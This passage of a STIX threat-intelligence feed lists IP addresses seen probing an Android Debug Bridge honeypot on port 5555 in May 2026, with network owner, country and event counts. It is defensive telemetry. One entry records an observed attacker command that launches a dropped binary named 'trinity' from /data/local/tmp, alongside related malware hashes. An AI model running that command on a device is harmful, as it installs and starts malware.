      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-12T12:16:41.000Z | last_seen=2026-05-12T12:26:45.095Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--a67bb72d-406a-40a5-90bc-23797134b17b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '222.117.8.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:00:02.000Z",
      "valid_until": "2026-06-13T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-12T12:16:41.000Z",
          "last_seen": "2026-05-12T12:26:45.095Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-12T13:34:38.000Z | last_seen=2026-05-12T13:48:44.818Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--344302fd-5f3f-4b25-acc6-377ab817ed6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.242.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:00:02.000Z",
      "valid_until": "2026-06-13T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-12T13:34:38.000Z",
          "last_seen": "2026-05-12T13:48:44.818Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-12T15:58:03.000Z | last_seen=2026-05-12T15:59:12.928Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--647ff8cc-993f-4c5a-a07a-e8ec0b286ad2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.42.0.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:00:02.000Z",
      "valid_until": "2026-06-13T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-12T15:58:03.000Z",
          "last_seen": "2026-05-12T15:59:12.928Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=19 | first_seen=2026-05-12T15:37:03.000Z | last_seen=2026-05-12T15:47:57.080Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--95be802a-f06a-46bc-a5f4-bdc5dc4ef092",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.182.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:00:02.000Z",
      "valid_until": "2026-06-13T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 19,
          "first_seen": "2026-05-12T15:37:03.000Z",
          "last_seen": "2026-05-12T15:47:57.080Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-12T15:58:24.000Z | last_seen=2026-05-12T15:59:27.831Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--cf3cab2b-f3e0-4511-97fa-54caf9ecc254",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.230.150.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:00:02.000Z",
      "valid_until": "2026-06-13T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-12T15:58:24.000Z",
          "last_seen": "2026-05-12T15:59:27.831Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=31 | first_seen=2026-05-12T15:04:57.000Z | last_seen=2026-05-14T23:59:35.351Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--aec7f65b-f516-4e68-8d66-40ba16517180",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:00:02.000Z",
      "valid_until": "2026-06-13T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 31,
          "first_seen": "2026-05-12T15:04:57.000Z",
          "last_seen": "2026-05-14T23:59:35.351Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=65; ports=5555; cc=CA; asn=11287; asn_org=Mitchell Seaforth Cable T. V. Ltd.; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=65 | first_seen=2026-05-12T17:45:20.000Z | last_seen=2026-05-12T17:57:50.320Z | ports=5555 | cc=CA | asn=11287 | org=Mitchell Seaforth Cable T. V. Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--b64b7f13-803a-49ba-927f-cec258a4ec47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '163.182.227.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:00:02.000Z",
      "valid_until": "2026-06-13T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 65,
          "first_seen": "2026-05-12T17:45:20.000Z",
          "last_seen": "2026-05-12T17:57:50.320Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "11287"
          ],
          "org": [
            "Mitchell Seaforth Cable T. V. Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BR; asn=267155; asn_org=VOE INTERNET; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-12T17:07:38.000Z | last_seen=2026-05-12T17:08:48.192Z | ports=5555 | cc=BR | asn=267155 | org=VOE INTERNET",
      "id": "indicator--0a7d8ee7-d156-47ca-8a5a-4fad40754065",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.229.146.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:00:02.000Z",
      "valid_until": "2026-06-13T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-12T17:07:38.000Z",
          "last_seen": "2026-05-12T17:08:48.192Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "267155"
          ],
          "org": [
            "VOE INTERNET"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=2; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-12T19:50:37.000Z | last_seen=2026-05-12T20:00:55.504Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--0f2df13e-8a4e-4000-af49-08485ad6a5fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.209.23.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:00:02.000Z",
      "valid_until": "2026-06-13T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-12T19:50:37.000Z",
          "last_seen": "2026-05-12T20:00:55.504Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T22:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=19 | first_seen=2026-05-12T21:21:01.000Z | last_seen=2026-05-12T21:31:33.896Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--752a2bf6-750c-4124-b766-67541cbe0fbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:00:08.000Z",
      "valid_until": "2026-06-13T22:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 19,
          "first_seen": "2026-05-12T21:21:01.000Z",
          "last_seen": "2026-05-12T21:31:33.896Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-13T01:49:25.000Z | last_seen=2026-05-13T01:50:31.299Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--78b56f41-796b-4072-a80c-4180a9aa4236",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:00:02.000Z",
      "valid_until": "2026-06-14T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-13T01:49:25.000Z",
          "last_seen": "2026-05-13T01:50:31.299Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-13T01:51:15.000Z | last_seen=2026-05-13T02:01:19.256Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:00:02.000Z",
      "valid_until": "2026-06-14T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-13T01:51:15.000Z",
          "last_seen": "2026-05-13T02:01:19.256Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-13T01:57:53.000Z | last_seen=2026-05-13T02:07:55.450Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--89255984-9d79-491a-96ee-b9df5efc25ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:00:02.000Z",
      "valid_until": "2026-06-14T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-13T01:57:53.000Z",
          "last_seen": "2026-05-13T02:07:55.450Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-13T01:57:53.000Z | last_seen=2026-05-13T02:08:12.313Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--9b1b4e6f-67ca-41da-92b5-bcf209bd6ce7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:00:02.000Z",
      "valid_until": "2026-06-14T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-13T01:57:53.000Z",
          "last_seen": "2026-05-13T02:08:12.313Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-13T02:13:31.000Z | last_seen=2026-05-13T02:14:40.488Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--827f977a-c020-4860-91d5-0c172f348da9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '171.35.131.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T03:00:03.000Z",
      "valid_until": "2026-06-14T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-13T02:13:31.000Z",
          "last_seen": "2026-05-13T02:14:40.488Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T05:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=48090; asn_org=Techoff Srv Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-13T04:27:36.000Z | last_seen=2026-05-14T02:34:52.290Z | ports=5555 | cc=BG | asn=48090 | org=Techoff Srv Limited",
      "id": "indicator--0d65be17-e7f4-4258-b2f8-e271667fe720",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '93.123.109.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:00:08.000Z",
      "valid_until": "2026-06-14T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-13T04:27:36.000Z",
          "last_seen": "2026-05-14T02:34:52.290Z",
          "ports": [
            "5555"
          ],
